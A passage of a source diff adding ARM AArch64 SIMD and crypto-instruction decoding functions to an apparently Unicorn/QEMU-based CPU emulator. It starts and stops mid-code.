tcg_gen_shli_i64(tcg_ctx, tcg_res[pass], tcg_res[pass], 8 << size); + + tcg_temp_free_i32(tcg_ctx, tcg_op); + } + + for (pass = 0; pass < 2; pass++) { + write_vec_element(s, tcg_res[pass], rd, pass, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_res[pass]); + } +} + +/* C3.6.17 AdvSIMD two reg misc + * 31 30 29 28 24 23 22 21 17 16 12 11 10 9 5 4 0 + * +---+---+---+-----------+------+-----------+--------+-----+------+------+ + * | 0 | Q | U | 0 1 1 1 0 | size | 1 0 0 0 0 | opcode | 1 0 | Rn | Rd | + * +---+---+---+-----------+------+-----------+--------+-----+------+------+ + */ +static void disas_simd_two_reg_misc(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int size = extract32(insn, 22, 2); + int opcode = extract32(insn, 12, 5); + bool u = extract32(insn, 29, 1); + bool is_q = extract32(insn, 30, 1); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + bool need_fpstatus = false; + bool need_rmode = false; + int rmode = -1; + TCGv_i32 tcg_rmode; + TCGv_ptr tcg_fpstatus; + + switch (opcode) { + case 0x0: /* REV64, REV32 */ + case 0x1: /* REV16 */ + handle_rev(s, opcode, u, is_q, size, rn, rd); + return; + case 0x5: /* CNT, NOT, RBIT */ + if (u && size == 0) { + /* NOT: adjust size so we can use the 64-bits-at-a-time loop. */ + size = 3; + break; + } else if (u && size == 1) { + /* RBIT */ + break; + } else if (!u && size == 0) { + /* CNT */ + break; + } + unallocated_encoding(s); + return; + case 0x12: /* XTN, XTN2, SQXTUN, SQXTUN2 */ + case 0x14: /* SQXTN, SQXTN2, UQXTN, UQXTN2 */ + if (size == 3) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + + handle_2misc_narrow(s, false, opcode, u, is_q, size, rn, rd); + return; + case 0x4: /* CLS, CLZ */ + if (size == 3) { + unallocated_encoding(s); + return; + } + break; + case 0x2: /* SADDLP, UADDLP */ + case 0x6: /* SADALP, UADALP */ + if (size == 3) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + handle_2misc_pairwise(s, opcode, u, is_q, size, rn, rd); + return; + case 0x13: /* SHLL, SHLL2 */ + if (u == 0 || size == 3) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + handle_shll(s, is_q, size, rn, rd); + return; + case 0xa: /* CMLT */ + if (u == 1) { + unallocated_encoding(s); + return; + } + /* fall through */ + case 0x8: /* CMGT, CMGE */ + case 0x9: /* CMEQ, CMLE */ + case 0xb: /* ABS, NEG */ + if (size == 3 && !is_q) { + unallocated_encoding(s); + return; + } + break; + case 0x3: /* SUQADD, USQADD */ + if (size == 3 && !is_q) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + handle_2misc_satacc(s, false, u, is_q, size, rn, rd); + return; + case 0x7: /* SQABS, SQNEG */ + if (size == 3 && !is_q) { + unallocated_encoding(s); + return; + } + break; + case 0x0c: case 0x0d: case 0x0e: case 0x0f: + case 0x16: case 0x17: case 0x18: case 0x19: case 0x1a: case 0x1b: case 0x1c: case 0x1d: + case 0x1f: + { + /* Floating point: U, size[1] and opcode indicate operation; + * size[0] indicates single or double precision. + */ + int is_double = extract32(size, 0, 1); + opcode |= (extract32(size, 1, 1) << 5) | (u << 6); + size = is_double ? 3 : 2; + switch (opcode) { + case 0x2f: /* FABS */ + case 0x6f: /* FNEG */ + if (size == 3 && !is_q) { + unallocated_encoding(s); + return; + } + break; + case 0x1d: /* SCVTF */ + case 0x5d: /* UCVTF */ + { + bool is_signed = (opcode == 0x1d) ? true : false; + int elements = is_double ? 2 : is_q ? 4 : 2; + if (is_double && !is_q) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + handle_simd_intfp_conv(s, rd, rn, elements, is_signed, 0, size); + return; + } + case 0x2c: /* FCMGT (zero) */ + case 0x2d: /* FCMEQ (zero) */ + case 0x2e: /* FCMLT (zero) */ + case 0x6c: /* FCMGE (zero) */ + case 0x6d: /* FCMLE (zero) */ + if (size == 3 && !is_q) { + unallocated_encoding(s); + return; + } + handle_2misc_fcmp_zero(s, opcode, false, u, is_q, size, rn, rd); + return; + case 0x7f: /* FSQRT */ + if (size == 3 && !is_q) { + unallocated_encoding(s); + return; + } + break; + case 0x1a: /* FCVTNS */ + case 0x1b: /* FCVTMS */ + case 0x3a: /* FCVTPS */ + case 0x3b: /* FCVTZS */ + case 0x5a: /* FCVTNU */ + case 0x5b: /* FCVTMU */ + case 0x7a: /* FCVTPU */ + case 0x7b: /* FCVTZU */ + need_fpstatus = true; + need_rmode = true; + rmode = extract32(opcode, 5, 1) | (extract32(opcode, 0, 1) << 1); + if (size == 3 && !is_q) { + unallocated_encoding(s); + return; + } + break; + case 0x5c: /* FCVTAU */ + case 0x1c: /* FCVTAS */ + need_fpstatus = true; + need_rmode = true; + rmode = FPROUNDING_TIEAWAY; + if (size == 3 && !is_q) { + unallocated_encoding(s); + return; + } + break; + case 0x3c: /* URECPE */ + if (size == 3) { + unallocated_encoding(s); + return; + } + /* fall through */ + case 0x3d: /* FRECPE */ + case 0x7d: /* FRSQRTE */ + if (size == 3 && !is_q) { + unallocated_encoding(s); + return; + } + if (!fp_access_check(s)) { + return; + } + handle_2misc_reciprocal(s, opcode, false, u, is_q, size, rn, rd); + return; + case 0x56: /* FCVTXN, FCVTXN2 */ + if (size == 2) { + unallocated_encoding(s); + return; + } + /* fall through */ + case 0x16: /* FCVTN, FCVTN2 */ + /* handle_2misc_narrow does a 2*size -> size operation, but these + * instructions encode the source size rather than dest size. + */ + if (!fp_access_check(s)) { + return; + } + handle_2misc_narrow(s, false, opcode, 0, is_q, size - 1, rn, rd); + return; + case 0x17: /* FCVTL, FCVTL2 */ + if (!fp_access_check(s)) { + return; + } + handle_2misc_widening(s, opcode, is_q, size, rn, rd); + return; + case 0x18: /* FRINTN */ + case 0x19: /* FRINTM */ + case 0x38: /* FRINTP */ + case 0x39: /* FRINTZ */ + need_rmode = true; + rmode = extract32(opcode, 5, 1) | (extract32(opcode, 0, 1) << 1); + /* fall through */ + case 0x59: /* FRINTX */ + case 0x79: /* FRINTI */ + need_fpstatus = true; + if (size == 3 && !is_q) { + unallocated_encoding(s); + return; + } + break; + case 0x58: /* FRINTA */ + need_rmode = true; + rmode = FPROUNDING_TIEAWAY; + need_fpstatus = true; + if (size == 3 && !is_q) { + unallocated_encoding(s); + return; + } + break; + case 0x7c: /* URSQRTE */ + if (size == 3) { + unallocated_encoding(s); + return; + } + need_fpstatus = true; + break; + default: + unallocated_encoding(s); + return; + } + break; + } + default: + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + if (need_fpstatus) { + tcg_fpstatus = get_fpstatus_ptr(tcg_ctx); + } else { + TCGV_UNUSED_PTR(tcg_fpstatus); + } + if (need_rmode) { + tcg_rmode = tcg_const_i32(tcg_ctx, arm_rmode_to_sf(rmode)); + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + } else { + TCGV_UNUSED_I32(tcg_rmode); + } + + if (size == 3) { + /* All 64-bit element operations can be shared with scalar 2misc */ + int pass; + + for (pass = 0; pass < (is_q ? 2 : 1); pass++) { + TCGv_i64 tcg_op = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_res = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_op, rn, pass, MO_64); + + handle_2misc_64(s, opcode, u, tcg_res, tcg_op, + tcg_rmode, tcg_fpstatus); + + write_vec_element(s, tcg_res, rd, pass, MO_64); + + tcg_temp_free_i64(tcg_ctx, tcg_res); + tcg_temp_free_i64(tcg_ctx, tcg_op); + } + } else { + int pass; + + for (pass = 0; pass < (is_q ? 4 : 2); pass++) { + TCGv_i32 tcg_op = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_res = tcg_temp_new_i32(tcg_ctx); + TCGCond cond; + + read_vec_element_i32(s, tcg_op, rn, pass, MO_32); + + if (size == 2) { + /* Special cases for 32 bit elements */ + switch (opcode) { + case 0xa: /* CMLT */ + /* 32 bit integer comparison against zero, result is + * test ? (2^32 - 1) : 0. We implement via setcond(test) + * and inverting. + */ + cond = TCG_COND_LT; + do_cmop: + tcg_gen_setcondi_i32(tcg_ctx, cond, tcg_res, tcg_op, 0); + tcg_gen_neg_i32(tcg_ctx, tcg_res, tcg_res); + break; + case 0x8: /* CMGT, CMGE */ + cond = u ? TCG_COND_GE : TCG_COND_GT; + goto do_cmop; + case 0x9: /* CMEQ, CMLE */ + cond = u ? TCG_COND_LE : TCG_COND_EQ; + goto do_cmop; + case 0x4: /* CLS */ + if (u) { + gen_helper_clz32(tcg_ctx, tcg_res, tcg_op); + } else { + gen_helper_cls32(tcg_ctx, tcg_res, tcg_op); + } + break; + case 0x7: /* SQABS, SQNEG */ + if (u) { + gen_helper_neon_qneg_s32(tcg_ctx, tcg_res, tcg_ctx->cpu_env, tcg_op); + } else { + gen_helper_neon_qabs_s32(tcg_ctx, tcg_res, tcg_ctx->cpu_env, tcg_op); + } + break; + case 0xb: /* ABS, NEG */ + if (u) { + tcg_gen_neg_i32(tcg_ctx, tcg_res, tcg_op); + } else { + TCGv_i32 tcg_zero = tcg_const_i32(tcg_ctx, 0); + tcg_gen_neg_i32(tcg_ctx, tcg_res, tcg_op); + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_GT, tcg_res, tcg_op, + tcg_zero, tcg_op, tcg_res); + tcg_temp_free_i32(tcg_ctx, tcg_zero); + } + break; + case 0x2f: /* FABS */ + gen_helper_vfp_abss(tcg_ctx, tcg_res, tcg_op); + break; + case 0x6f: /* FNEG */ + gen_helper_vfp_negs(tcg_ctx, tcg_res, tcg_op); + break; + case 0x7f: /* FSQRT */ + gen_helper_vfp_sqrts(tcg_ctx, tcg_res, tcg_op, tcg_ctx->cpu_env); + break; + case 0x1a: /* FCVTNS */ + case 0x1b: /* FCVTMS */ + case 0x1c: /* FCVTAS */ + case 0x3a: /* FCVTPS */ + case 0x3b: /* FCVTZS */ + { + TCGv_i32 tcg_shift = tcg_const_i32(tcg_ctx, 0); + gen_helper_vfp_tosls(tcg_ctx, tcg_res, tcg_op, + tcg_shift, tcg_fpstatus); + tcg_temp_free_i32(tcg_ctx, tcg_shift); + break; + } + case 0x5a: /* FCVTNU */ + case 0x5b: /* FCVTMU */ + case 0x5c: /* FCVTAU */ + case 0x7a: /* FCVTPU */ + case 0x7b: /* FCVTZU */ + { + TCGv_i32 tcg_shift = tcg_const_i32(tcg_ctx, 0); + gen_helper_vfp_touls(tcg_ctx, tcg_res, tcg_op, + tcg_shift, tcg_fpstatus); + tcg_temp_free_i32(tcg_ctx, tcg_shift); + break; + } + case 0x18: /* FRINTN */ + case 0x19: /* FRINTM */ + case 0x38: /* FRINTP */ + case 0x39: /* FRINTZ */ + case 0x58: /* FRINTA */ + case 0x79: /* FRINTI */ + gen_helper_rints(tcg_ctx, tcg_res, tcg_op, tcg_fpstatus); + break; + case 0x59: /* FRINTX */ + gen_helper_rints_exact(tcg_ctx, tcg_res, tcg_op, tcg_fpstatus); + break; + case 0x7c: /* URSQRTE */ + gen_helper_rsqrte_u32(tcg_ctx, tcg_res, tcg_op, tcg_fpstatus); + break; + default: + g_assert_not_reached(); + } + } else { + /* Use helpers for 8 and 16 bit elements */ + switch (opcode) { + case 0x5: /* CNT, RBIT */ + /* For these two insns size is part of the opcode specifier + * (handled earlier); they always operate on byte elements. + */ + if (u) { + gen_helper_neon_rbit_u8(tcg_ctx, tcg_res, tcg_op); + } else { + gen_helper_neon_cnt_u8(tcg_ctx, tcg_res, tcg_op); + } + break; + case 0x7: /* SQABS, SQNEG */ + { + NeonGenOneOpEnvFn *genfn; + static NeonGenOneOpEnvFn * const fns[2][2] = { + { gen_helper_neon_qabs_s8, gen_helper_neon_qneg_s8 }, + { gen_helper_neon_qabs_s16, gen_helper_neon_qneg_s16 }, + }; + genfn = fns[size][u]; + genfn(tcg_ctx, tcg_res, tcg_ctx->cpu_env, tcg_op); + break; + } + case 0x8: /* CMGT, CMGE */ + case 0x9: /* CMEQ, CMLE */ + case 0xa: /* CMLT */ + { + static NeonGenTwoOpFn * const fns[3][2] = { + { gen_helper_neon_cgt_s8, gen_helper_neon_cgt_s16 }, + { gen_helper_neon_cge_s8, gen_helper_neon_cge_s16 }, + { gen_helper_neon_ceq_u8, gen_helper_neon_ceq_u16 }, + }; + NeonGenTwoOpFn *genfn; + int comp; + bool reverse; + TCGv_i32 tcg_zero = tcg_const_i32(tcg_ctx, 0); + + /* comp = index into [CMGT, CMGE, CMEQ, CMLE, CMLT] */ + comp = (opcode - 0x8) * 2 + u; + /* ...but LE, LT are implemented as reverse GE, GT */ + reverse = (comp > 2); + if (reverse) { + comp = 4 - comp; + } + genfn = fns[comp][size]; + if (reverse) { + genfn(tcg_ctx, tcg_res, tcg_zero, tcg_op); + } else { + genfn(tcg_ctx, tcg_res, tcg_op, tcg_zero); + } + tcg_temp_free_i32(tcg_ctx, tcg_zero); + break; + } + case 0xb: /* ABS, NEG */ + if (u) { + TCGv_i32 tcg_zero = tcg_const_i32(tcg_ctx, 0); + if (size) { + gen_helper_neon_sub_u16(tcg_ctx, tcg_res, tcg_zero, tcg_op); + } else { + gen_helper_neon_sub_u8(tcg_ctx, tcg_res, tcg_zero, tcg_op); + } + tcg_temp_free_i32(tcg_ctx, tcg_zero); + } else { + if (size) { + gen_helper_neon_abs_s16(tcg_ctx, tcg_res, tcg_op); + } else { + gen_helper_neon_abs_s8(tcg_ctx, tcg_res, tcg_op); + } + } + break; + case 0x4: /* CLS, CLZ */ + if (u) { + if (size == 0) { + gen_helper_neon_clz_u8(tcg_ctx, tcg_res, tcg_op); + } else { + gen_helper_neon_clz_u16(tcg_ctx, tcg_res, tcg_op); + } + } else { + if (size == 0) { + gen_helper_neon_cls_s8(tcg_ctx, tcg_res, tcg_op); + } else { + gen_helper_neon_cls_s16(tcg_ctx, tcg_res, tcg_op); + } + } + break; + default: + g_assert_not_reached(); + } + } + + write_vec_element_i32(s, tcg_res, rd, pass, MO_32); + + tcg_temp_free_i32(tcg_ctx, tcg_res); + tcg_temp_free_i32(tcg_ctx, tcg_op); + } + } + if (!is_q) { + clear_vec_high(s, rd); + } + + if (need_rmode) { + gen_helper_set_rmode(tcg_ctx, tcg_rmode, tcg_rmode, tcg_ctx->cpu_env); + tcg_temp_free_i32(tcg_ctx, tcg_rmode); + } + if (need_fpstatus) { + tcg_temp_free_ptr(tcg_ctx, tcg_fpstatus); + } +} + +/* C3.6.13 AdvSIMD scalar x indexed element + * 31 30 29 28 24 23 22 21 20 19 16 15 12 11 10 9 5 4 0 + * +-----+---+-----------+------+---+---+------+-----+---+---+------+------+ + * | 0 1 | U | 1 1 1 1 1 | size | L | M | Rm | opc | H | 0 | Rn | Rd | + * +-----+---+-----------+------+---+---+------+-----+---+---+------+------+ + * C3.6.18 AdvSIMD vector x indexed element + * 31 30 29 28 24 23 22 21 20 19 16 15 12 11 10 9 5 4 0 + * +---+---+---+-----------+------+---+---+------+-----+---+---+------+------+ + * | 0 | Q | U | 0 1 1 1 1 | size | L | M | Rm | opc | H | 0 | Rn | Rd | + * +---+---+---+-----------+------+---+---+------+-----+---+---+------+------+ + */ +static void disas_simd_indexed(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* This encoding has two kinds of instruction: + * normal, where we perform elt x idxelt => elt for each + * element in the vector + * long, where we perform elt x idxelt and generate a result of + * double the width of the input element + * The long ops have a 'part' specifier (ie come in INSN, INSN2 pairs). + */ + bool is_scalar = extract32(insn, 28, 1); + bool is_q = extract32(insn, 30, 1); + bool u = extract32(insn, 29, 1); + int size = extract32(insn, 22, 2); + int l = extract32(insn, 21, 1); + int m = extract32(insn, 20, 1); + /* Note that the Rm field here is only 4 bits, not 5 as it usually is */ + int rm = extract32(insn, 16, 4); + int opcode = extract32(insn, 12, 4); + int h = extract32(insn, 11, 1); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + bool is_long = false; + bool is_fp = false; + int index; + TCGv_ptr fpst; + + switch (opcode) { + case 0x0: /* MLA */ + case 0x4: /* MLS */ + if (!u || is_scalar) { + unallocated_encoding(s); + return; + } + break; + case 0x2: /* SMLAL, SMLAL2, UMLAL, UMLAL2 */ + case 0x6: /* SMLSL, SMLSL2, UMLSL, UMLSL2 */ + case 0xa: /* SMULL, SMULL2, UMULL, UMULL2 */ + if (is_scalar) { + unallocated_encoding(s); + return; + } + is_long = true; + break; + case 0x3: /* SQDMLAL, SQDMLAL2 */ + case 0x7: /* SQDMLSL, SQDMLSL2 */ + case 0xb: /* SQDMULL, SQDMULL2 */ + is_long = true; + /* fall through */ + case 0xc: /* SQDMULH */ + case 0xd: /* SQRDMULH */ + if (u) { + unallocated_encoding(s); + return; + } + break; + case 0x8: /* MUL */ + if (u || is_scalar) { + unallocated_encoding(s); + return; + } + break; + case 0x1: /* FMLA */ + case 0x5: /* FMLS */ + if (u) { + unallocated_encoding(s); + return; + } + /* fall through */ + case 0x9: /* FMUL, FMULX */ + if (!extract32(size, 1, 1)) { + unallocated_encoding(s); + return; + } + is_fp = true; + break; + default: + unallocated_encoding(s); + return; + } + + if (is_fp) { + /* low bit of size indicates single/double */ + size = extract32(size, 0, 1) ? 3 : 2; + if (size == 2) { + index = h << 1 | l; + } else { + if (l || !is_q) { + unallocated_encoding(s); + return; + } + index = h; + } + rm |= (m << 4); + } else { + switch (size) { + case 1: + index = h << 2 | l << 1 | m; + break; + case 2: + index = h << 1 | l; + rm |= (m << 4); + break; + default: + unallocated_encoding(s); + return; + } + } + + if (!fp_access_check(s)) { + return; + } + + if (is_fp) { + fpst = get_fpstatus_ptr(tcg_ctx); + } else { + TCGV_UNUSED_PTR(fpst); + } + + if (size == 3) { + TCGv_i64 tcg_idx = tcg_temp_new_i64(tcg_ctx); + int pass; + + assert(is_fp && is_q && !is_long); + + read_vec_element(s, tcg_idx, rm, index, MO_64); + + for (pass = 0; pass < (is_scalar ? 1 : 2); pass++) { + TCGv_i64 tcg_op = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_res = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_op, rn, pass, MO_64); + + switch (opcode) { + case 0x5: /* FMLS */ + /* As usual for ARM, separate negation for fused multiply-add */ + gen_helper_vfp_negd(tcg_ctx, tcg_op, tcg_op); + /* fall through */ + case 0x1: /* FMLA */ + read_vec_element(s, tcg_res, rd, pass, MO_64); + gen_helper_vfp_muladdd(tcg_ctx, tcg_res, tcg_op, tcg_idx, tcg_res, fpst); + break; + case 0x9: /* FMUL, FMULX */ + if (u) { + gen_helper_vfp_mulxd(tcg_ctx, tcg_res, tcg_op, tcg_idx, fpst); + } else { + gen_helper_vfp_muld(tcg_ctx, tcg_res, tcg_op, tcg_idx, fpst); + } + break; + default: + g_assert_not_reached(); + } + + write_vec_element(s, tcg_res, rd, pass, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_op); + tcg_temp_free_i64(tcg_ctx, tcg_res); + } + + if (is_scalar) { + clear_vec_high(s, rd); + } + + tcg_temp_free_i64(tcg_ctx, tcg_idx); + } else if (!is_long) { + /* 32 bit floating point, or 16 or 32 bit integer. + * For the 16 bit scalar case we use the usual Neon helpers and + * rely on the fact that 0 op 0 == 0 with no side effects. + */ + TCGv_i32 tcg_idx = tcg_temp_new_i32(tcg_ctx); + int pass, maxpasses; + + if (is_scalar) { + maxpasses = 1; + } else { + maxpasses = is_q ? 4 : 2; + } + + read_vec_element_i32(s, tcg_idx, rm, index, size); + + if (size == 1 && !is_scalar) { + /* The simplest way to handle the 16x16 indexed ops is to duplicate + * the index into both halves of the 32 bit tcg_idx and then use + * the usual Neon helpers. + */ + tcg_gen_deposit_i32(tcg_ctx, tcg_idx, tcg_idx, tcg_idx, 16, 16); + } + + for (pass = 0; pass < maxpasses; pass++) { + TCGv_i32 tcg_op = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_res = tcg_temp_new_i32(tcg_ctx); + + read_vec_element_i32(s, tcg_op, rn, pass, is_scalar ? size : MO_32); + + switch (opcode) { + case 0x0: /* MLA */ + case 0x4: /* MLS */ + case 0x8: /* MUL */ + { + static NeonGenTwoOpFn * const fns[2][2] = { + { gen_helper_neon_add_u16, gen_helper_neon_sub_u16 }, + { tcg_gen_add_i32, tcg_gen_sub_i32 }, + }; + NeonGenTwoOpFn *genfn; + bool is_sub = opcode == 0x4; + + if (size == 1) { + gen_helper_neon_mul_u16(tcg_ctx, tcg_res, tcg_op, tcg_idx); + } else { + tcg_gen_mul_i32(tcg_ctx, tcg_res, tcg_op, tcg_idx); + } + if (opcode == 0x8) { + break; + } + read_vec_element_i32(s, tcg_op, rd, pass, MO_32); + genfn = fns[size - 1][is_sub]; + genfn(tcg_ctx, tcg_res, tcg_op, tcg_res); + break; + } + case 0x5: /* FMLS */ + /* As usual for ARM, separate negation for fused multiply-add */ + gen_helper_vfp_negs(tcg_ctx, tcg_op, tcg_op); + /* fall through */ + case 0x1: /* FMLA */ + read_vec_element_i32(s, tcg_res, rd, pass, MO_32); + gen_helper_vfp_muladds(tcg_ctx, tcg_res, tcg_op, tcg_idx, tcg_res, fpst); + break; + case 0x9: /* FMUL, FMULX */ + if (u) { + gen_helper_vfp_mulxs(tcg_ctx, tcg_res, tcg_op, tcg_idx, fpst); + } else { + gen_helper_vfp_muls(tcg_ctx, tcg_res, tcg_op, tcg_idx, fpst); + } + break; + case 0xc: /* SQDMULH */ + if (size == 1) { + gen_helper_neon_qdmulh_s16(tcg_ctx, tcg_res, tcg_ctx->cpu_env, + tcg_op, tcg_idx); + } else { + gen_helper_neon_qdmulh_s32(tcg_ctx, tcg_res, tcg_ctx->cpu_env, + tcg_op, tcg_idx); + } + break; + case 0xd: /* SQRDMULH */ + if (size == 1) { + gen_helper_neon_qrdmulh_s16(tcg_ctx, tcg_res, tcg_ctx->cpu_env, + tcg_op, tcg_idx); + } else { + gen_helper_neon_qrdmulh_s32(tcg_ctx, tcg_res, tcg_ctx->cpu_env, + tcg_op, tcg_idx); + } + break; + default: + g_assert_not_reached(); + } + + if (is_scalar) { + write_fp_sreg(s, rd, tcg_res); + } else { + write_vec_element_i32(s, tcg_res, rd, pass, MO_32); + } + + tcg_temp_free_i32(tcg_ctx, tcg_op); + tcg_temp_free_i32(tcg_ctx, tcg_res); + } + + tcg_temp_free_i32(tcg_ctx, tcg_idx); + + if (!is_q) { + clear_vec_high(s, rd); + } + } else { + /* long ops: 16x16->32 or 32x32->64 */ + TCGv_i64 tcg_res[2]; + int pass; + bool satop = extract32(opcode, 0, 1); + TCGMemOp memop = MO_32; + + if (satop || !u) { + memop |= MO_SIGN; + } + + if (size == 2) { + TCGv_i64 tcg_idx = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_idx, rm, index, memop); + + for (pass = 0; pass < (is_scalar ? 1 : 2); pass++) { + TCGv_i64 tcg_op = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_passres; + int passelt; + + if (is_scalar) { + passelt = 0; + } else { + passelt = pass + (is_q * 2); + } + + read_vec_element(s, tcg_op, rn, passelt, memop); + + tcg_res[pass] = tcg_temp_new_i64(tcg_ctx); + + if (opcode == 0xa || opcode == 0xb) { + /* Non-accumulating ops */ + tcg_passres = tcg_res[pass]; + } else { + tcg_passres = tcg_temp_new_i64(tcg_ctx); + } + + tcg_gen_mul_i64(tcg_ctx, tcg_passres, tcg_op, tcg_idx); + tcg_temp_free_i64(tcg_ctx, tcg_op); + + if (satop) { + /* saturating, doubling */ + gen_helper_neon_addl_saturate_s64(tcg_ctx, tcg_passres, tcg_ctx->cpu_env, + tcg_passres, tcg_passres); + } + + if (opcode == 0xa || opcode == 0xb) { + continue; + } + + /* Accumulating op: handle accumulate step */ + read_vec_element(s, tcg_res[pass], rd, pass, MO_64); + + switch (opcode) { + case 0x2: /* SMLAL, SMLAL2, UMLAL, UMLAL2 */ + tcg_gen_add_i64(tcg_ctx, tcg_res[pass], tcg_res[pass], tcg_passres); + break; + case 0x6: /* SMLSL, SMLSL2, UMLSL, UMLSL2 */ + tcg_gen_sub_i64(tcg_ctx, tcg_res[pass], tcg_res[pass], tcg_passres); + break; + case 0x7: /* SQDMLSL, SQDMLSL2 */ + tcg_gen_neg_i64(tcg_ctx, tcg_passres, tcg_passres); + /* fall through */ + case 0x3: /* SQDMLAL, SQDMLAL2 */ + gen_helper_neon_addl_saturate_s64(tcg_ctx, tcg_res[pass], tcg_ctx->cpu_env, + tcg_res[pass], + tcg_passres); + break; + default: + g_assert_not_reached(); + } + tcg_temp_free_i64(tcg_ctx, tcg_passres); + } + tcg_temp_free_i64(tcg_ctx, tcg_idx); + + if (is_scalar) { + clear_vec_high(s, rd); + } + } else { + TCGv_i32 tcg_idx = tcg_temp_new_i32(tcg_ctx); + + assert(size == 1); + read_vec_element_i32(s, tcg_idx, rm, index, size); + + if (!is_scalar) { + /* The simplest way to handle the 16x16 indexed ops is to + * duplicate the index into both halves of the 32 bit tcg_idx + * and then use the usual Neon helpers. + */ + tcg_gen_deposit_i32(tcg_ctx, tcg_idx, tcg_idx, tcg_idx, 16, 16); + } + + for (pass = 0; pass < (is_scalar ? 1 : 2); pass++) { + TCGv_i32 tcg_op = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 tcg_passres; + + if (is_scalar) { + read_vec_element_i32(s, tcg_op, rn, pass, size); + } else { + read_vec_element_i32(s, tcg_op, rn, + pass + (is_q * 2), MO_32); + } + + tcg_res[pass] = tcg_temp_new_i64(tcg_ctx); + + if (opcode == 0xa || opcode == 0xb) { + /* Non-accumulating ops */ + tcg_passres = tcg_res[pass]; + } else { + tcg_passres = tcg_temp_new_i64(tcg_ctx); + } + + if (memop & MO_SIGN) { + gen_helper_neon_mull_s16(tcg_ctx, tcg_passres, tcg_op, tcg_idx); + } else { + gen_helper_neon_mull_u16(tcg_ctx, tcg_passres, tcg_op, tcg_idx); + } + if (satop) { + gen_helper_neon_addl_saturate_s32(tcg_ctx, tcg_passres, tcg_ctx->cpu_env, + tcg_passres, tcg_passres); + } + tcg_temp_free_i32(tcg_ctx, tcg_op); + + if (opcode == 0xa || opcode == 0xb) { + continue; + } + + /* Accumulating op: handle accumulate step */ + read_vec_element(s, tcg_res[pass], rd, pass, MO_64); + + switch (opcode) { + case 0x2: /* SMLAL, SMLAL2, UMLAL, UMLAL2 */ + gen_helper_neon_addl_u32(tcg_ctx, tcg_res[pass], tcg_res[pass], + tcg_passres); + break; + case 0x6: /* SMLSL, SMLSL2, UMLSL, UMLSL2 */ + gen_helper_neon_subl_u32(tcg_ctx, tcg_res[pass], tcg_res[pass], + tcg_passres); + break; + case 0x7: /* SQDMLSL, SQDMLSL2 */ + gen_helper_neon_negl_u32(tcg_ctx, tcg_passres, tcg_passres); + /* fall through */ + case 0x3: /* SQDMLAL, SQDMLAL2 */ + gen_helper_neon_addl_saturate_s32(tcg_ctx, tcg_res[pass], tcg_ctx->cpu_env, + tcg_res[pass], + tcg_passres); + break; + default: + g_assert_not_reached(); + } + tcg_temp_free_i64(tcg_ctx, tcg_passres); + } + tcg_temp_free_i32(tcg_ctx, tcg_idx); + + if (is_scalar) { + tcg_gen_ext32u_i64(tcg_ctx, tcg_res[0], tcg_res[0]); + } + } + + if (is_scalar) { + tcg_res[1] = tcg_const_i64(tcg_ctx, 0); + } + + for (pass = 0; pass < 2; pass++) { + write_vec_element(s, tcg_res[pass], rd, pass, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_res[pass]); + } + } + + if (!TCGV_IS_UNUSED_PTR(fpst)) { + tcg_temp_free_ptr(tcg_ctx, fpst); + } +} + +/* C3.6.19 Crypto AES + * 31 24 23 22 21 17 16 12 11 10 9 5 4 0 + * +-----------------+------+-----------+--------+-----+------+------+ + * | 0 1 0 0 1 1 1 0 | size | 1 0 1 0 0 | opcode | 1 0 | Rn | Rd | + * +-----------------+------+-----------+--------+-----+------+------+ + */ +static void disas_crypto_aes(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int size = extract32(insn, 22, 2); + int opcode = extract32(insn, 12, 5); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + int decrypt; + TCGv_i32 tcg_rd_regno, tcg_rn_regno, tcg_decrypt; + CryptoThreeOpEnvFn *genfn; + + if (!arm_dc_feature(s, ARM_FEATURE_V8_AES) + || size != 0) { + unallocated_encoding(s); + return; + } + + switch (opcode) { + case 0x4: /* AESE */ + decrypt = 0; + genfn = gen_helper_crypto_aese; + break; + case 0x6: /* AESMC */ + decrypt = 0; + genfn = gen_helper_crypto_aesmc; + break; + case 0x5: /* AESD */ + decrypt = 1; + genfn = gen_helper_crypto_aese; + break; + case 0x7: /* AESIMC */ + decrypt = 1; + genfn = gen_helper_crypto_aesmc; + break; + default: + unallocated_encoding(s); + return; + } + + /* Note that we convert the Vx register indexes into the + * index within the vfp.regs[] array, so we can share the + * helper with the AArch32 instructions. + */ + tcg_rd_regno = tcg_const_i32(tcg_ctx, rd << 1); + tcg_rn_regno = tcg_const_i32(tcg_ctx, rn << 1); + tcg_decrypt = tcg_const_i32(tcg_ctx, decrypt); + + genfn(tcg_ctx, tcg_ctx->cpu_env, tcg_rd_regno, tcg_rn_regno, tcg_decrypt); + + tcg_temp_free_i32(tcg_ctx, tcg_rd_regno); + tcg_temp_free_i32(tcg_ctx, tcg_rn_regno); + tcg_temp_free_i32(tcg_ctx, 